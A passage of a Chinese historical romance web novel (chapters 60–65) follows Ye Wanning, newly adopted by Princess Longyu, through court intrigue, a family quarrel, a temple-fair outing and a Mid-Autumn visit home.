“想来是我们来迟了,殿下已经回去了,姑娘在这等一会儿,奴婢去问问怎么回事。”逢春神色如常,看不出什么。 再次见到谢泊淮,叶婉宁不由想到谢泊淮去小绾馆的事,不由避开视线,准备到门口等着时,听谢泊淮开了口。 “叶大姑娘倒是胆子大,哪里都敢去。”谢泊淮冷冷地说了一句。 方才他见了隆玉公主,隆玉公主直接问他查到了什么。 “你是查到本宫的孩子还活着,还是查到是本宫杀了昭云,又或者是知道本宫嫁祸于你?” “谢泊淮,你太聪明了,也太讨人厌了,本宫不想和你斗了。” “你别用这种眼神看本宫,你的心思藏得深,本宫也是好不容易才察觉到。其实本宫认叶婉宁当义女是好事,如果旁人知道了你的心思,你觉得叶婉宁能自保吗?” 第60章 姿态软软的 隆玉公主说,“谢泊淮,你那么一个做事狠绝的人,你也知道你得罪了多少人吧?” 谢泊淮没想到隆玉公主直接摊牌,什么都不掩藏了,他看着隆玉公主时,右手一直放在剑柄上。 “怎么,想杀本宫?”隆玉公主冲着谢泊淮挑眉,“真有意思啊谢泊淮,本宫原以为回京城后的日子,会枯燥乏味,没想到有你这么个人物。” “殿下所求什么?”谢泊淮问。 “你不是查了本宫么,本宫要什么,还不知道?”隆玉公主走到窗前,望着下边来来往往的人,“你瞧瞧,这些人多有意思,一个个面上和心里都不一样。本宫不管什么民间疾苦,也不想和皇兄们争权夺利,但是本宫那可怜的孩子,从小吃尽苦头,本宫想让他夺回属于他的一切。” 现在的乌苏王,是上任乌苏王的兄弟,同样是隆玉公主的继子。他杀了兄长,也想娶隆玉公主为妻,但隆玉公主早派人送信到京城。 对隆玉公主的儿子来说,这是个生与死的局面,不争就是死,所以一定要争。 隆玉公主看谢泊淮还在思索,轻声笑了下,“罢了,本宫就没想你和本宫站一块,只要咱们互相不干扰就行。今日你来了,本宫便送你一份礼。” 谢泊淮问是什么,隆玉公主没说,直到现在,他才知道隆玉公主的意思。 “什么地方都敢去,现在却不敢说话了?”谢泊淮下颚微扬,单手负背。 “大人你不是也去了?”叶婉宁嘴快接了一句。 “我是去办事!”谢泊淮一字一句道。 叶婉宁说她也有事要做,“还请大人帮忙保密,这个事不敢让人知道的。” 她现在有求于谢泊淮,姿态放得软软的,看在谢泊淮眼里,倒是好笑,方才还和他顶嘴的人,这会儿又恳求他。 他是真觉得,叶家姐妹的眼睛都不好使。 “我不是那种长舌妇。”这话便是谢泊淮给的一种保证了,“你知不知道周钰现在如何了?” 叶婉宁说知道,“被人割了舌头,砍断手筋,日子应该很惨,这都是他的报应。” “是我做的。”谢泊淮道。 叶婉宁震惊了,抬头去看谢泊淮,下意识地后退半步。 “我割了周钰的舌头,让他永远不能说话。也砍断他的手筋,让他不能写字。他所知道的所有事,都无法公之于众。” 听谢泊淮的话好像意有所指,但叶婉宁一时猜不到他是什么意思,对她而言,周钰变成这样是好事。但听谢泊淮这么说出来,还是有些骇人。 谢泊淮看着他和叶婉宁的距离,还是转身看向窗外,“隆玉公主这个人不简单,但你已经被她拉到同一条船上,要懂得自保。看在你二哥的面子上,如果你有什么事,可以去找我。” 京城里,没有谢泊淮解决不了的事。 就算是王孙贵族,在谢泊淮面前,还是一样得服软。 叶婉宁听谢泊淮提到二哥,心想果然是因为二哥,不然谢泊淮平白无故和她说这些做什么? 两个人在阁楼里,站在不同的窗后,看着不同的风景,但他们心里都是乱的。 直到江嬷嬷来了,叶婉宁才如获大赦般和江嬷嬷离开。 “殿下本来与谢大人说话,结果突然来了人,只好先走一步。谢大人可有为难您?”江嬷嬷问。 “没有,谢大人是个好人。”叶婉宁道。 好人? 江嬷嬷微微抿唇,天底下,怕是只有叶大姑娘会说谢泊淮是好人了,可见谢泊淮对叶大姑娘用心良苦啊。 她们回到席面上,羲和郡主立马过来拉叶婉宁坐下,凑到她耳边小小声地道,“方才我听李隽和姑母说,想娶你为侧妃,你可别上当,李隽的脑子笨死了,我哥哥说他不行的。” 叶婉宁心中大惊,李隽是皇太孙,她好不容易逃过选妃,怎么还有这么一遭。 “你听到公主说什么了吗?”叶婉宁关心这个。 羲和郡主回头看了看,正想开口时,看到宁安郡主过来,给叶婉宁使了个眼色,意思是待会再说。 叶婉宁心里有事,面对边上人也心不在焉,她怕隆玉公主会答应。用过正席后,二嫂嫂寻了过来,说了二婶的事。 “你怎么心不在焉?” “啊?想到一些事。”叶婉宁立马瞬间没什么,“祖母也在,二婶怎么不收着?” “祖母毕竟精力有限,只要祖母没看到,二婶就去找人搭话。再这样下去,咱们家的名声都要被她败坏了。”姜姒想不到法子,才过来找叶婉宁。 叶婉宁想了想,带着云芝去找到李氏。 李氏正在和钱夫人说话,看到叶婉宁过来,亲昵地挽住叶婉宁,“瞧瞧我们婉宁,本来就生得好看,今日打扮起来,更美艳绝伦了。” 叶婉宁不写痕迹地抽出手,和钱夫人打过招呼后,想带李氏到一旁说话,李氏不太愿意,她只能拉着李氏。 “婉宁,你这是什么意思?”李氏有些不高兴,“我和钱夫人聊得正热络,你干嘛拉我走?” “二婶,你干嘛急着去攀附她们?” “什么叫我攀附她们?我为的还不是咱们叶家,你二叔在户部那么多年,一点盼头都没有。现在能认识那么多达官显贵,对咱们家百利而无一害。”李氏不觉得有问题。 叶婉宁沉声道,“你没看到她们眼中的奚落吗?硬凑上去只会让人更瞧不起,真心愿意来往的,人家并不会一直看着你说。”钱夫人是看在她的面子上,才应付着李氏,至于其他人,大部分都像看戏一样看李氏。 “我说婉宁,你这是什么意思?你飞黄腾达,嫌弃我们了?”李氏说着说着,嗓音大了。 叶婉宁不给好脸色了,“二婶,从我父亲去世后,你和二叔有想过帮扶我们大房吗?没有吧,你们连见到大哥都要躲着,就怕我们大房要你们帮忙。当初你们不讲亲情,现在别说是我嫌弃你们。云芝,你看着二婶,她要是不好好坐着用席,那不必留她了,直接让人准备马车,把她和二叔送回家。” “叶婉宁,你……” “二婶,这里是公主府,注意你要说的话!”叶婉宁留下这句话,便走了,李氏气急了,却不敢再放肆了,毕竟过去几年,他们确实避着大房。 第61章 唯一 李氏被云芝死死盯着,最后离开时,心中带了十足的怨气。 等不到回家,马车上,她和叶显荣吐槽,“我算是看明白了,叶婉宁现在有靠山了,看不上我们这些普通亲戚了。我就说呢,之前给她介绍的人家都不要,原来是心高气傲看不上,憋了个大的。你等着看吧,别说是我们了,就是叶明德他们以后,也别想沾她叶婉宁的光。” 叶显荣在男宾那边,同样被奚落,他刚和人介绍自己,那些官职高的也只是点点头,最后叶明岳还拉着他去一旁警告。 “是啊,他们大房出息了,看不上我们这种亲戚了。”叶显荣叹气道。 “狗脑看人低的东西,等咱们明轩中了进士,以后官至一品的时候,让他们来求我们!”李氏指望着儿子带她飞黄腾达,叶显荣却没那么异想天开。 “你回头还是去和婉宁道个歉,别这么看着我,明轩中进士上位,都要有人脉。人在屋檐下,不得不低头,你又不是不知道,咱们是什么情况?”叶显荣再不愿意,也得憋着这口气,去和大房赔笑脸,“以前咱们和大房来往少,现在补上就是。你放机灵点,忍过一时的窝囊,以后才能有扬眉吐气那天。” 李氏心里不愿意,但也知道是这么个道理,无奈地点点头。 这时马车突然停下,李氏没好气地问了句怎么回事,车夫说有人拦下他们的马车。 叶显荣往外看去,瞧见是他们户部的谢大人,忙笑着下马车。 “不知谢大人有何指教?”叶显荣赶忙下了马车,他要在谢泊远手下干事,见到谢泊远自然是极力讨好。 谢泊远是谢泊淮的大哥,今日他没去隆玉公主府上,但他夫人去了,看到叶显荣的马车,特意拦下。 “叶大人不用那么客气,咱们同在户部,虽说我比你官大一些,但也算得上同僚。”谢泊远笑着道,“今日公务繁忙,无法去公主府上庆贺。本来想派人送帖子去你府上,既然遇到了,为了表示诚意,我想亲自和你说。” 叶显荣没听明白,之前在户部,谢泊远对他都是淡淡的,人家官至三品,眼里根本看不到他。 这会那么客气,难道是因为叶婉宁的缘故? “我家小女即将成婚,不知叶大人有没有空赏脸喝杯薄酒?”谢泊远发出邀请。 听到这话,叶显荣脸上是藏不住的高兴,“有空,自然有空,大人邀请,下官一定去!” 谢泊远笑眯眯地看着叶显荣,说他这会有空,问他要不要一块去喝两杯。 叶显荣当然是愿意的,让李氏先回去,自个跟着谢泊远去酒楼。 李氏也为叶显荣高兴,等叶显荣回来,她好奇问他们都说了什么。 叶显荣喝得醉醺醺的,躺在软榻上睁不开眼,“也没说什么,他就问谢泊淮近来是不是和大房关系不错,都是怎么来往的。说他作为大哥,有的时候很想劝劝谢泊淮,但谢泊淮不愿意听,才会私下打听打听。谢泊淮和叶明岳不是来往挺多么,我反正知道的都说了。你别问那么多话了,谢大人说往后会提携我,咱们等着享福吧!” “谢大人真是个好人。”李氏心中高兴,但想到明日要去和叶婉宁道歉,又不乐意地皱了眉。 此时的叶婉宁到了隆玉公主的正殿。 “见到一些故人,忍不住多说了会话,本宫知道你等了一天,是想问皇太孙的事吧?”隆玉公主面颊绯红,她喝了不少酒,懒洋洋地趴在软榻上。 叶婉宁说是,她发现隆玉公主说话确实直率,不会藏着掖着,更不会绕来绕去,只要能说的,都是直接说。这点她觉得挺好的,至少很多事上,不用她去揣测。 隆玉公主对叶婉宁招招手,等叶婉宁坐在软榻边上,她看了眼叶婉宁,“你啊,心思太细腻了一些。你放心吧,没有你点头,本宫不会随便替你答应婚事。况且你家人还在,怎么样也得经过他们的同意。” “可是我很好奇,为什么皇太孙会提这个事,是因为义母的关系吗?”叶婉宁成了隆玉公主的义女,如果叶婉宁嫁给皇太孙,等于她带着隆玉公主的关系一起嫁过去,是皇太孙的一大助力。 “你把皇太孙想得太厉害了,羲和不是和你说了,太子把皇太孙和宁安生反了,一个太没脑子,一个太有脑子。皇太孙单纯觉得你漂亮,喜欢你而已。”隆玉公主伸手似乎想去摸叶婉宁的脸,但她又放了下来,“本宫帮你回绝了皇太孙,你若有心嫁入皇家,当初选妃就不会想法子了。以你的容貌,若是进了宫廷,必定能有一番作为。” “宫里不仅仅靠容貌的。”叶婉宁道。 “是啊,这就是你的聪明之处,你懂得宿舍。婉宁,本宫就喜欢你这一点,什么事都看得明明白白。不过本宫也劝你一句,人活着不容易,不用事事完美,你想做什么就去做,看谁不顺眼就去打,这是本宫给你的底气。就像羲和一样,她是家中得宠的姑娘,你也是本宫唯一的义女。”隆玉公主打了个哈切,她困了。 叶婉宁识趣地退了出去。 江嬷嬷给叶婉宁提灯,“殿下说得对,您已经是公主府的主子,谁要是不给您脸面,就是在打公主的面子。什么人都别想踩在您头上,您知道吗?” 白天李氏的行为,早就有人说给隆玉公主听。 叶婉宁现在算是体会到,只要她人在公主府,就不会有秘密,因为到处都是隆玉公主的眼线。 “我知道了嬷嬷,我初来乍到,很多事还迈不开步子去做,往后适应了就好。”叶婉宁确实有些心动,谁不想恣意快活地过日子呢? 月色撩人,叶婉宁深吸一口气,回到屋里后,看着还没熟悉的殿宇,心想她以后应该是会更好的。 总要让自己活得有声有色一些,才不枉费来这人间一趟。 第62章 除了怕他 在公主府的日子,叶婉宁除了陪隆玉公主一日三餐,还要看戏、推牌九,甚至是帮隆玉公主挑男宠,没有一样事和大家闺秀有关。 一开始,叶婉宁很不习惯做这些事,但她还是不敢拒绝,只能硬着头皮上。 日子就这么过到七皇子成婚前,羲和郡主偷偷跑来公主府,拉着叶婉宁就要出门。 “郡主等等,您那么着急,是要带我去哪里?”叶婉宁不敢贸然跟着羲和郡主出去。 “我带你去一个好地方,你别问那么多,你应该跟姑母学学,怎么过得潇洒一点,我可是特意来带你出去的。江嬷嬷都不拦着,你怕什么?”羲和郡主拉着叶婉宁就跑,她才不管什么规矩,跑得慢了被抓到,岂不是很亏? 反正跑出来要被罚,玩得尽兴再回去就挣到了。 叶婉宁被拉着出了公主府,马车里,羲和郡主给叶婉宁拿了一套寻常百姓的衣裳。 “马上是中秋,城隍庙有庙会,你知道吗,庙会里可多有意思的事了。”羲和郡主的亲哥哥是个一板一眼的人,不管她怎么恳求,她哥哥都不带她出来。府里庶出的和她玩不到一起,思来想去,她便跑来找叶婉宁。她觉得叶婉宁好说话,只要她开口,叶婉宁就一定会答应。 “好姐姐,你陪陪我嘛,我给你买吃的?买首饰!”羲和郡主摇着叶婉宁的胳膊撒娇,整个人靠了过去。 叶婉宁想不明白,“郡主为何一定要带上我呢?就算没有我,您一个人出来不行吗?” “那不一样。”羲和有些心虚了。 看羲和郡主躲避的眼神,叶婉宁猜测,“是不是拉上我,你回家时会被罚得轻一点?” “哎呀,你干嘛说得那么直接。”羲和郡主搂着叶婉宁不肯撒手,“上次的认亲礼,我母妃回去以后,和我夸了你好一顿。说让我和你这种懂规矩,行事好的贵女玩,别整天想着出门乱跑。你是不知道,她把你都夸到天上去了,我也不知道她为何那么喜欢你,难道就因为你漂亮?” 叶婉宁对端王妃没什么印象,她以前接触不到端王妃这种人物,看羲和郡主满脸期待,她很为难。 “你就不想体验一下吗?”羲和郡主继续劝道,“还是你以前逛过庙会?” 叶婉宁说没有。 她突然想到隆玉公主的话,隆玉公主让她想干嘛就干嘛,自在一点,凡事先问问她自己想不想,而不是去想那些规矩。 马车已经进入闹市,听着街边热热闹闹的话语声,叶婉宁道,“就这一次,下次郡主别拉着我了。” “哎呀,我们先玩啦!”羲和郡主想的是有一次,就有第二次,叶婉宁看着心软,比宁安好多了。 她们下了马车后,叶婉宁让云芝跟紧自己。 羲和郡主看什么都有意思,“姐姐你看这人,他在喷火!还有这个这个,我要买!” 羲和郡主掏钱爽快,叶婉宁却是皱了眉头,“财不露白,那么多人看着呢。” 不是换了寻常的衣裳,就不会被人盯上的,羲和郡主的钱袋一拿出来,别人一看就知道她们有钱。 “知道啦,这个糖人给你。”羲和郡主把兔子糖人塞到叶婉宁嘴里,“咱们是出来玩的,讲究一个痛快,京城是天子脚下,哪里有什么贼人!” 叶婉宁心想,如果真的没有贼人就好了。 越往城隍庙走,人越多。 叶婉宁拉着羲和郡主的手,庙会确实很有意思,是叶婉宁以前从未体验过的人间烟火。 “姑娘,你看那个杂耍的!”连云芝都忍不住被吸引。 叶婉宁寻声看过去,瞧见一人顶着比人还大的鼓,竟然只用一只脚。 “好!”羲和郡主大方地给了赏钱,她这一声好,嘹亮而引人注目。她们本就生得好,不少人看了过来,叶婉宁赶忙拉着羲和郡主往茶楼去。 叶婉宁说累了想歇会,羲和郡主没有意见,两个人才走没几步,羲和郡主突然拉着叶婉宁转身往边上走。 “别回头,是我哥哥!”羲和郡主像猫见到耗子一般害怕。 叶婉宁还以为羲和郡主没有怕的人,过了好一会儿,羲和郡主才拉着叶婉宁跑进茶楼。 两人到雅间坐下,羲和郡主还在后怕,“吓死我了,刚刚差点就对上我哥哥了。” “郡主为何那么怕世子?”叶婉宁问。 “你不知道,他比我父王和母妃都可怕,我哥哥虽然不会打我,但他会念经。只要我犯事,他就用一大套的之乎者也来念叨我,是你想不到的可怕。”羲和郡主喝了一碗茶,起身去如厕。 叶婉宁慢悠悠地喝茶,窗外可以看到街上的人来人往,她看得很有意思。 “姑娘,羲和郡主人还蛮有意思的。”云芝也是第一次来庙会。 “是啊,皇家的姑娘能养得天真烂漫,实在难得。”叶婉宁刚说完,门突然被推开,来的不是别人,正是羲和郡主的哥哥李茂。 不过,李茂似乎不认识叶婉宁。 “抱歉,在下正在找人。”李茂方才好像看到妹妹的背影,只是背影一闪而过,他怕真的是妹妹,才来看看。但他并没有注意到和背影同行的叶婉宁,一心好奇方才跑过去的人是不是妹妹。 现在推开别人的雅间,看到还是一位独行的姑娘,李茂觉得自己太冒犯了,只是一眼,便低头行礼道歉。 叶婉宁绷着一根弦,说了句无妨。 她的声音很柔,李茂的耳朵突然痒痒的,他知道自己不该再停留,准备离开时,多说了一句,“今日庙会人多眼杂,姑娘出行还是多带一些侍卫比较好。”想到叶婉宁衣着朴素,怕是没有侍卫,又道,“或者与家人同行才好,免得被有心人盯上。” 叶婉宁紧张到手微抖,就怕羲和郡主回来撞见李茂,简单地应了一句好,看到李茂走了,她才松口气。 “云芝,你去找找羲和郡主,让她躲着点。算了,我还是一起吧。”叶婉宁坐不住,她和云芝刚出雅家时,却撞见了谢泊淮。 四目相对,空气似乎凝固起来。 谢泊淮用一种不出意外的眼神看着叶婉宁,缓缓说出,“果然是胆大的。” 除了怕他。 第63章 做自己 “谢大人。” 叶婉宁感觉自己的面颊滚烫,“我只是出来逛庙会。” 她小小声地解释。 并不是她乱跑,真的只是逛个庙会而已。 谢泊淮却好像没听到她的话,轻声哼了哼,往茶楼另一端走去。 看谢泊淮就这么走了,叶婉宁心跳久久不能平复,直到羲和郡主蹦蹦跳跳地回来,问她怎么站在门口,她才赶忙拉着羲和郡主进雅间。 “什么?我哥哥来了!”羲和郡主一下慌了,“什么时候?他认出我了?我们是不是得赶紧走?” “你别着急,他好像不知道我们同行。也没说是找你,只说是找人,他刚来过这里,应该是不会再来的,咱们先在这里坐一会儿,如果你现在出去,才最危险。”叶婉宁也怕被抓包,被谢泊淮遇到就算了,再来一个李茂,她真的吃不消。 不过谢泊淮这人,怎么随处可见? 以前可没觉得谢泊淮那么频繁遇见。 她和羲和郡主异口同声地叹气。 “我还想着去城隍庙求个姻缘呢,看来今天是不能够了。”羲和郡主两手撑着下巴,望着街上有趣的事,心里很是羡慕,“如果我是寻常人家的姑娘多好,这样我就可以随便出来玩了。” “郡主说笑了,我是寻常出身,但我也是第一次来城隍庙逛庙会。”叶婉宁端起茶盏抿了口,“不同身份有不同的难处,其实王爷王妃已经对你很好,你看看宁安郡主,她何曾这样出来过?” “她啊,惯是个会做样子的,只会在太学读书弹琴,得到一众好评后,再来和我们这些姐妹炫耀。还好你年岁大了,不用去太学读书,我这辈子,最不想回的地方就是太学。”羲和郡主开始无聊,玩着茶盏不时叹气。 而此时的谢泊淮正好遇到李茂,两人迎面对上,李茂没找到羲和郡主,以为是自己的错觉。 “谢大人。”李茂简单打个招呼,他对谢泊淮,并不像其他人那么记恨,毕竟不做亏心事,不怕谢泊淮来找事。 “世子在找人?”谢泊淮一眼看出李茂的小动作。 李茂说没有,并不想让人知道他在找妹妹,免得影响妹妹名声,“谢大人这是来办事?” “嗯,最近城中流窜了一批贼人,我正在打探。”谢泊淮抬头看了眼二楼的方向,“听闻王爷在军中受伤,最近可好?” 端王行二,在先太子过世后,顺理成章地成了长子。但皇上立了继后,三皇子占了个嫡出的身份,便成功当了太子。 原本支持立端王为太子的人,都很尴尬,储位已定,至少明面上他们不能再说什么。 端王自己的处境也很尴尬,说起来,这些年端王很是低调,比起什么都要和太子争一争的惠王,端王算半个透明人了。 李茂眼中有了警惕,“不过是些皮外伤,但父王军中劳累多年,身子需要静养。” “也是,那下官不叨扰世子了。”谢泊淮告辞离开。 等他走后,李茂才松口气,边上的随从小声问还找不找,他摇了摇头,“谢泊淮这个人,他说的每一句话,我都觉得另有深意。我们先回去吧。” 李茂回头看了眼楼上,过了会,还是收回目光。 楼上的叶婉宁和羲和郡主,坐了一个时辰,云芝出去瞧了瞧,确认没有熟悉的面孔,两人才上了马车。 “哎,真是没意思,要是没遇到哥哥就好了。”羲和郡主很可惜,“下次再有什么有意思的,我再找你。” “郡主,你说过的,只有这次。”叶婉宁提醒道。 羲和郡主努努嘴,没有说话,心里想的却是总有机会的。 马车先到隆玉公主府,叶婉宁要下马车时,羲和郡主拿出一根簪子,“喏,方才瞧你看了好一会儿,应该是喜欢的吧,送你当礼物。”收了她的礼物,下次就要再陪她玩! 叶婉宁笑着收下,回公主府时,江嬷嬷已经候着了。 看到江嬷嬷,叶婉宁还有些紧张。 “姑娘玩得还高兴不?”江嬷嬷没有责怪的意思,而是问庙会有什么有意思的事。 “很热闹,也有很多新鲜事。”叶婉宁道。 “玩得开心就好,殿下正等您用晚膳呢。”江嬷嬷带着叶婉宁去了正殿。 隆玉公主看到叶婉宁,才起身往饭桌去,“知道羲和带着你出门,本宫派人去找了你们,庙会人多眼杂,你们到底是姑娘家,有人跟着才好。不过本宫没让他们跟上你们,远远地看着就行,免得影响你们玩乐。快坐吧,本宫饿了。” 羲和郡主上门,府里有那么多人看到,总是有人会说到隆玉公主那去。 但隆玉公主并没有怪罪叶婉宁,更没有说什么,而是笑着和叶婉宁一块用饭。 叶婉宁自个儿是吃得不太踏实,因为她还没习惯放纵自己,她是被当做典型的主母来培养。从小学习诗书礼仪,打理家务,品鉴字画,所有能让人夸一声好的,她都要学。 两个妹妹有时候会偷懒,但叶婉宁不会。 她觉得自己是长姐,要做好家中表率,即使再辛苦,也要跟着学。 过去十八年的人生里,叶婉宁都是这么坚持下来。 母亲说,日子都是这么过的,盼着盼着,说不定哪天就变好了。 想到母亲,叶婉宁轻声叹了气。 “怎么叹气了?”隆玉公主早就发现叶婉宁在发呆,“今日和羲和出门,玩得不高兴?” “不是,我想到了我母亲,她与您很不一样。”叶婉宁如实道。 隆玉公主笑了,“本宫知道你母亲,她在闺阁时就是个看着很温柔,实际对自己很要强的性格。但你是不是忘了,本宫未出嫁前,也是和你母亲一样,从小克己复礼地长大,什么都围绕着规矩、女责做事。那会本宫以为,本宫是集万千宠爱于一身的公主,会过上让所有人羡慕的生活。但最后呢,乌苏要公主和亲,只有本宫合适,父皇再愧疚,还是为了边境送本宫去和亲。” 和亲时的日子,隆玉公主不说了。 但叶婉宁能从隆玉公主的语气中感受到,那必定是一段让人发生很大转变的生活。 “所以啊,人要学会放过自己,以前你是没有底气,现在你有本宫当靠山,不用顾忌太多,做你自己就好。吃饭吧,吃饱了才有力气想事情。”隆玉公主已经吃饱了,她还是没什么胃口。 第64章 归家 等叶婉宁吃完回去,江嬷嬷才道,“侍卫回来说,谢大人的随从一直跟着姑娘,谢大人是真上心了。” “哼,他也就敢这样而已。”隆玉公主把玩着手上的玛瑙珠串,“怪他自己平常得罪人太多,现在才不敢把人娶回家,偷偷摸摸做这些,婉宁是一件都不知道。我倒要看看,他能忍多久。” 江嬷嬷跟着笑了,“姑娘生得好,人也端庄大方,如今得了您的青睐,来说亲的人肯定很多。看着一个个媒人来提亲,谢大人应该忍不了多久吧?” “谁知道他呢,要是我啊,婉宁没退婚之前,先弄死周钰,再把人娶回家。他倒好,光是看着生闷气,闷骚得很。是我利用了婉宁,从而让谢泊淮忌惮,欠了人一份情,我便会护着她。”隆玉公主乏了,江嬷嬷伺候她睡下。 临近中秋,月圆如盘,叶婉宁回去后,把买回来的月饼分给逢春她们吃。 不由地,她想到了家里人。 中秋佳节,应该是团圆的日子,但她与家人有许久没见了。 “姑娘,早些休息吧。”逢春进来道,“云芝在给丫鬟们分月饼,奴婢伺候您宽衣。” 近来逢春发现,姑娘有些嗜睡,不过人看着气色不错,“您白日里辛苦,奴婢已经吩咐下去,明早给您炖了燕窝粥。” 在公主府的日子,吃穿用度都是最好的,叶婉宁发现,隆玉公主对她好像确实没有敌意。就是这份好来得太突然,让叶婉宁还没想明白,不过她已经不自觉地放下防备。 次日叶婉宁用过早膳,听到叶家来人,忙小跑着过去。 姜姒是特意来找叶婉宁回家过中秋,隆玉公主听了没说话,这会叶婉宁进来,姜姒提到叶老夫人想叶婉宁了。 江嬷嬷笑着上茶,“中秋佳节,确实是一家人团圆的日子,姑娘好福气,大家都想着您。” 叶婉宁听出江嬷嬷的话外之音,如果她回叶家过中秋,那隆玉公主成了一个人。 这还是隆玉公主回京城后的第一个中秋节。 看着二嫂嫂期盼的目光,叶婉宁也想念家人,但是吧,她若是回去热闹,隆玉公主这里又怎么办? 思来想去,叶婉宁说她也想祖母了,起身和隆玉公主行礼,“女儿来义母这好些日子,祖母身子不好,女儿还是想回去看看。待中秋午后,女儿再归来陪您用晚膳,您看如何?” 中午在叶家,晚上在公主府,这是叶婉宁想出来的两全办法。 隆玉公主以为叶婉宁归心似箭,只想着回叶家,并不会在意她的感受,现在听叶婉宁说回来用晚膳,心中有了那么些真情,“难为你还想着我,既然如此,你先回家住两天吧,中秋再回来也不迟。” “多谢义母。”叶婉宁心里松了口气。 隆玉公主让江嬷嬷去准备礼物,叶婉宁吩咐云芝回去收拾行囊,等候的时间里,叶婉宁带着二嫂嫂逛园子。 “上次来,只顾着盯二婶,都没空逛园子。现在看着,真是别致又气派。”姜姒挽着叶婉宁,“我看你气色不错,看来殿下对你还不错。” “确实,一开始担心府里有人狗眼看人低,真的住进来后,我发现是我想多了。而且殿下和我想的也不一样,怎么说呢,她的想法,总是我没听过的。一开始觉得离经叛道,但是仔细琢磨起来,又慢慢赞同她。”叶婉宁这些天,时不时会想到隆玉公主说过的话。 姜姒看叶婉宁不错,她就放心了,“家里人都担心你,看你过得好就行。” 叶婉宁又问起家里的事。 “大嫂嫂这胎怀得不容易,吃了吐,人憔悴不少,好在大哥时常陪着,最近能吃下一些东西了。你二哥还是那个样子,每天早出晚归,还得应付大哥和我哥哥们,不过听他说,最近生意不错,他手中银钱存了不少。”说起夫君,姜姒眼睛弯弯的,她不求夫君多有本事,只要顾家不乱来就行。 “那婉玉她们呢?”叶婉宁又问。 说到两个小姑子,姜姒叹了口气,“婉玉被韩叙伤透了心,把提亲的人都赶出去,她说已经看透世间男人,闹着不成亲了。我和你二哥哥倒是还好,祖母为了你的事焦虑,现在多了个婉玉,更发愁了。等你回去后,问问婉玉,她到底什么想法。至于婉华,你也知道她是个什么性格,缺了点主见,我们更不敢轻易给她定亲事。” 家家有本难念的经,叶家已经比以前要好上许多了,只是兄弟姐妹多了,总有这样那样的事。 她们在亭子里说话,逢春来说收拾好了,叶婉宁和二嫂嫂一起回了叶家。 她人还没到祖母院子,便看到祖母站在门口,祖母俩刚见面,叶老夫人忍不住落泪。 “我的乖乖,你可算是回来了。我还怕殿下不肯让你回来,快让祖母看看,怎么瘦了?”叶老夫人拉着叶婉宁的手进屋。 “祖母,我没有瘦,我都胖了一些。”叶婉宁笑着陪祖母进屋。 叶婉玉迫不及待地问,“大姐姐,你在公主府过得怎么样?” “都挺好,殿下是个随性的人,并不拘泥于小事。一开始我还紧绷着,很多事不知道该做,还是不该做,又要怎么去做。但殿下说了,不用想太多,既然成了她的义女,凡事都有她顶着。”叶婉宁道。 “可我怎么听说,皇太孙想娶你当侧妃?”叶婉玉嘴快,一下问了出来。 叶老夫人第一次听说,赶忙问怎么回事。 “祖母别紧张,殿下已经拒绝了,殿下说,没有我的同意,她不会帮我定下婚事。祖母放心吧,我在公主府很不错。”叶婉宁再三强调她过得好,瞧见大嫂嫂没有来,心里有些担心。 从祖母这离开后,叶婉宁拉着两个妹妹往大房那走,她拉着叶婉玉的手,“你的事,二嫂嫂都和我说了。现在我回来了,你和我说说,你到底怎么想的吧?” 第65章 爱吃酸 “我……我就是没嫁人的心思。”面对大姐,叶婉玉有些心虚。 “那你想做什么呢?”叶婉宁问,“婉玉,我不会压着你嫁人,但是你要想好,你要做什么。还有一个最重要的问题,你会不会后悔?” 选择了,就没有重来的机会。 叶婉玉不说话了,其实她自己也没思考得很清楚,只是现在反感而已,“大姐姐,那你呢?你还想成亲吗?” “我嘛……”叶婉宁叹了口气,“我是不想的,所以我给自己谋出路,计划以后的日子。婉玉,大哥二哥都不会嫌弃你我,但是他们会老的,你要有自己的出路。你好好想想吧,你可以去做女夫子,也可以去清修学道,又或者经营自己的产业。” 听到女夫子三个字,叶婉玉连连摇头,她不是静下心学习的人,更不愿意去当女夫子。清修学道更不适合她,她性格跳脱,坐不住的。至于经营产业,她还没做过,以前有哥哥姐姐在,她只需要学做一个宗妇。 叶婉宁给的选择,叶婉玉都选不出来,看妹妹苦恼皱眉,便知道这丫头只是一时想法,还没下定决心。 倒是一直沉默的叶婉华低声问了句,“大姐姐,我们这样人家的姑娘,真的可以当女夫子吗?” “自然可以,只要你才情高,多少世家抢着请。咱们京城的那些女夫子,哪个不是出自名门?确实有一部分人是因为家道中落,但你看看她们做得好的,名声都极好。”说完之后,叶婉宁才想到问,“婉华,你不会是心动了吧?” 叶家三位姑娘,叶婉宁沉稳,叶婉玉活泼,叶婉华则是有些怯弱。 姜姒说到叶婉华的婚事,其实比叶婉玉还愁,叶婉玉性格泼辣,吃了亏会反击,但叶婉华不会。以婉华的性格,夫家的家世并不重要,得要夫君性格好,一家子也得是好人。不然把叶婉华嫁过去,吃亏了也只会掉眼泪。 但世上哪里有那么好的事,能寻个人品样貌都不错的男人,已经很不容易了,更别说一家子都是好的。 “我就是问一问。”叶婉华道。 “你要有这个心思,也是可以的,你比婉玉沉得住气,真让你出嫁,反而操心不少。”叶婉宁长声叹气,进了大嫂的院子,林氏富态一些,正在院子里走动。 “我想过去的,但是你哥哥交代了不许,我这胎吃什么都吐,身子没那么好。”林氏拉着叶婉宁坐下,院子里摆了茶桌,秋风徐徐,倒是舒服,“让我瞧瞧,不错不错,你气色挺好。” 林氏说完话,拿了一枚酸梅吃,“嘴里没味道,总想尝一尝。” 叶婉宁看到酸梅,突然也想吃,她以前不吃酸的,这会不懂怎么回事,鬼使神差地也去拿了一颗。 “大姐姐,你吃着不酸吗?”叶婉玉想想就流口水,“大嫂这里的酸梅,吃一颗我都感觉牙齿要掉了。你以前不吃酸的啊?” “我也不知道怎么回事,今天看到这个酸梅,就很想尝一尝。”叶婉宁吃着感觉还行,甚至又拿了一颗。 若不是叶婉宁没嫁人,林氏都要怀疑叶婉宁是不是也有喜了,竟然和她一样,一颗接着一颗吃。 “喜欢你拿点回去。”林氏说她有很多,“听说我想吃酸的,我母亲找来了许多酸的,还有山楂和酸枣糕,那种不酸的我还不爱吃,一定要酸味比较重的。” 都说酸儿辣女,林夫人得知女儿爱吃酸的,那叫一个高兴,府里有的,外边卖的,全部送到叶家来。 叶婉宁是没想到自己会突然变馋,“不用了大嫂,我可能是看到你吃,才想跟着吃。我听二嫂说你吃不下东西,心里都跟着着急。” “咱们女人不容易,生个孩子就像进了鬼门关,怀胎十月,处处都不容易,等你们以后当母亲就知道了。”林氏看到叶婉宁,有许多话想说。 